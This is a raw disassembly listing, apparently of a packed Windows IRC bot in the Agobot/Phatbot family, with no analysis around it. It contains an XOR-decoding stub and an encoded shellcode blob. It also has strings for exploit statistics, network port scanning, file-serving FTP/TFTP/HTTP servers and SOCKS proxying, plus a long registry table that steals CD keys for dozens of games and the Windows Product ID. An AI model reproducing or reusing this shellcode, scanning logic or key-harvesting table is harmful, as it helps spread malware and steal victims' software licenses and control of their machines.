		dd 1BDh, 404F43h, 2 dup(0)
		dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h,	393331h
		dd 5 dup(0)
		dd 8Bh,	404F43h, 2 dup(0)
		dd 1, 6D7973h, 0
		dd 79730000h, 746E616Dh, 6365h,	5 dup(0)
		dd 0B97h, 405089h, 0
		dd 1, 0
		dd 636874h, 0
		dd 68540000h, 6C717363h, 6 dup(0)
		dd 599h, 40527Fh, 0	; CODE XREF: sub_429F96:loc_429FABj
		dd 1, 10h dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_429FA6

; =============== S U B	R O U T	I N E =======================================



sub_429F96	proc near		; CODE XREF: sub_429F96:loc_429FA6p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_429F9E:				; CODE XREF: sub_429F96+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_429F9E
		jmp	short loc_429FAB
; ---------------------------------------------------------------------------


loc_429FA6:				; CODE XREF: UPX0:00429F94j
		call	sub_429F96


loc_429FAB:				; CODE XREF: sub_429F96+Ej
		jo	short near ptr dword_429F44+2
		cwde
		cdq
		cdq
		retn
sub_429F96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
; char aTotalDInS_[]
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407102+81o
		align 4
; char aSD[]
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407102+42o
		align 4
; char unk_42A134
unk_42A134	db    2			; DATA XREF: sub_407102+11o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
; char unk_42A168
unk_42A168	db    2			; DATA XREF: sub_4071CC+42o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
; char unk_42A198
unk_42A198	db    2			; DATA XREF: sub_4071CC+2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
; char unk_42A1C8
unk_42A1C8	db    2			; DATA XREF: sub_407243+36Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
; char unk_42A20C
unk_42A20C	db    2			; DATA XREF: sub_407243+307o
					; sub_40EE51+549Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_42A258	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407243+267o
		dd 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
; char dword_42A298
dword_42A298	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407243+1FAo
		dd 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
; char unk_42A2E8
unk_42A2E8	db    2			; DATA XREF: sub_407243+149o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start server, error: <%d>.',0
; char unk_42A328
unk_42A328	db    2			; DATA XREF: sub_407243+DBo
					; sub_40EE51+5326o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
; char aD_D_D_D[]
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40761F+38o
					; sub_40AEDB+46o
; char unk_42A384
unk_42A384	db    2			; DATA XREF: sub_407758+EBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
; char unk_42A3BC
unk_42A3BC	db    2			; DATA XREF: sub_407758+93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
; char unk_42A408
unk_42A408	db    2			; DATA XREF: sub_40796C+1CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
; char unk_42A45C
unk_42A45C	db    2			; DATA XREF: sub_40796C+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
; char unk_42A4A8
unk_42A4A8	db    2			; DATA XREF: sub_40796C+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
; char unk_42A4F0
unk_42A4F0	db    2			; DATA XREF: sub_40796C+87o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
; char unk_42A538
unk_42A538	db    2			; DATA XREF: sub_407BCB+156o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
; char unk_42A584
unk_42A584	db    2			; DATA XREF: sub_407BCB+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
; char unk_42A5DC
unk_42A5DC	db    2			; DATA XREF: sub_407D53+1AAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '   Failed to start connection thread, error: <%d>.',0
; char unk_42A62C
unk_42A62C	db    2			; DATA XREF: sub_407D53+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
; char unk_42A680
unk_42A680	db    2			; DATA XREF: sub_407FD7+1B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 10h
; char unk_42A6C0
unk_42A6C0	db    2			; DATA XREF: sub_407FD7+18Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
; char unk_42A708
unk_42A708	db    2			; DATA XREF: sub_407FD7+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
; char unk_42A75C
unk_42A75C	db    2			; DATA XREF: sub_407FD7+A8o
					; sub_40EE51+5E2Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
; char unk_42A794
unk_42A794	db    2			; DATA XREF: sub_4081DC+1F9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
; char unk_42A7E4
unk_42A7E4	db    2			; DATA XREF: sub_4081DC+18Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
; char unk_42A830
unk_42A830	db    2			; DATA XREF: sub_4081DC+F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4085A0+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4087DB+23o
					; sub_4089D4+26o
		align 10h
		dd 80000001h
off_42A894	dd offset aSoftwareValveC ; DATA XREF: sub_408C13+Cr
					; sub_408C13+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_42A8A0	dd 2 dup(0)		; DATA XREF: sub_408C13+26o
		dd 80000001h, 42BA28h, 42BA1Ch,	42BA0Ch, 2 dup(0)
		dd 80000001h, 42B9ECh, 42B9E8h,	42B9D4h, 2 dup(0)
		dd 80000001h, 42B9B0h, 42B9E8h,	42B9A4h, 2 dup(0)
		dd 80000001h, 42B980h, 42B978h,	42B964h, 2 dup(0)
		dd 80000001h, 42B950h, 42B940h,	42B924h, 2 dup(0)
		dd 80000001h, 42B8E0h, 42BA68h,	42B8CCh, 2 dup(0)
		dd 80000002h, 42B8A0h, 42B894h,	42B874h, 2 dup(0)
		dd 80000002h, 42B840h, 42BA68h,	42B828h, 2 dup(0)
		dd 80000002h, 42B7F4h, 42BA68h,	42B7DCh, 2 dup(0)
		dd 80000002h, 42B7C4h, 42BA68h,	42B7ACh, 2 dup(0)
		dd 80000002h, 42B770h, 4397BCh,	42B760h, 2 dup(0)
		dd 80000002h, 42B728h, 4397BCh,	42B714h, 2 dup(0)
		dd 80000002h, 42B6C8h, 4397BCh,	42B6A8h, 2 dup(0)
		dd 80000002h, 42B658h, 4397BCh,	42B62Ch, 2 dup(0)
		dd 80000002h, 42B5F0h, 4397BCh,	42B5DCh, 2 dup(0)
		dd 80000002h, 42B5A4h, 4397BCh,	42B594h, 2 dup(0)
		dd 80000002h, 42B544h, 4397BCh,	42B518h, 2 dup(0)
		dd 80000002h, 42B4D8h, 4397BCh,	42B4BCh, 2 dup(0)
		dd 80000002h, 42B48Ch, 4397BCh,	42B46Ch, 2 dup(0)
		dd 80000002h, 42B430h, 4397BCh,	42B41Ch, 2 dup(0)
		dd 80000002h, 42B3D4h, 4397BCh,	42B3B4h, 2 dup(0)
		dd 80000002h, 42B360h, 4397BCh,	42B330h, 2 dup(0)
		dd 80000002h, 42B2E0h, 4397BCh,	42B2B4h, 2 dup(0)
		dd 80000002h, 42B274h, 42B26Ch,	42B24Ch, 2 dup(0)
		dd 80000002h, 42B208h, 4397BCh,	42B1ECh, 2 dup(0)
		dd 80000002h, 42B1A0h, 4397BCh,	42B17Ch, 2 dup(0)
		dd 80000002h, 42B148h, 4397BCh,	42B13Ch, 2 dup(0)
		dd 80000002h, 42B108h, 4397BCh,	42B0FCh, 2 dup(0)
		dd 80000002h, 42B0C8h, 4397BCh,	42B0BCh, 2 dup(0)
		dd 80000002h, 42B088h, 4397BCh,	42B07Ch, 2 dup(0)
		dd 80000002h, 42B040h, 4397BCh,	42B02Ch, 2 dup(0)
		dd 80000002h, 42AFF0h, 4397BCh,	42AFDCh, 2 dup(0)
		dd 80000002h, 42AFACh, 42BA68h,	42AF90h, 2 dup(0)
		dd 80000002h, 42AF70h, 42AF68h,	42AF44h, 2 dup(0)
		dd 80000002h, 42AF28h, 42AF68h,	42AF08h, 2 dup(0)
		dd 80000002h, 42AEE8h, 42AF68h,	42AEC4h, 2 dup(0)
		dd 80000002h, 42AEACh, 42AF68h,	42AEA8h, 2 dup(0)
		dd 80000002h, 42AE8Ch, 42AE7Ch,	42AE74h, 2 dup(0)
		dd 80000002h, 42AE40h, 42AE3Ch,	42AE24h, 2 dup(0)
		dd 80000002h, 42ADE8h, 42ADDCh,	42ADB4h, 42ADA4h, 42AD90h
		dd 80000002h, 42AD6Ch, 42AD60h,	42AD4Ch, 42AD3Ch, 42AD34h
		dd 80000002h, 42AD6Ch, 42AD60h,	42AD08h, 42AD3Ch, 42AD00h
		dd 80000002h, 42AD6Ch, 42AD60h,	42ACD0h, 42AD3Ch, 42ACC8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: UPX0:004302DCo
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: UPX0:0042A89Co
aCdkey		db 'CDKey',0            ; DATA XREF: UPX0:0042A898o
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: UPX0:off_42A894o
		align 4
; char Delim[]
Delim		db '=',0                ; DATA XREF: sub_408C13+E9o
					; sub_408C13+F4o
		align 4
; char aR[]
aR		db 'r',0                ; DATA XREF: sub_408C13+8Fo
					; sub_40EE51:loc_413624o
		align 10h
; char aSS_3[]
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408C13+7Eo
					; sub_408EE0+45o ...
		align 4
; char aSCdKeyS_[]
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C13+2Bo
		align 4
; char unk_42BABC
unk_42BABC	db    2			; DATA XREF: sub_408DC8+C5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
; char unk_42BAEC
unk_42BAEC	db    2			; DATA XREF: sub_408DC8+5Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
; char aFoundSS[]
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408EE0+107o
		align 4
; char aS_7[]
aS_7		db '%s\*',0             ; DATA XREF: sub_408EE0+1Ao
		align 4
; char unk_42BB3C
unk_42BB3C	db    2			; DATA XREF: sub_409032:loc_4091ABo
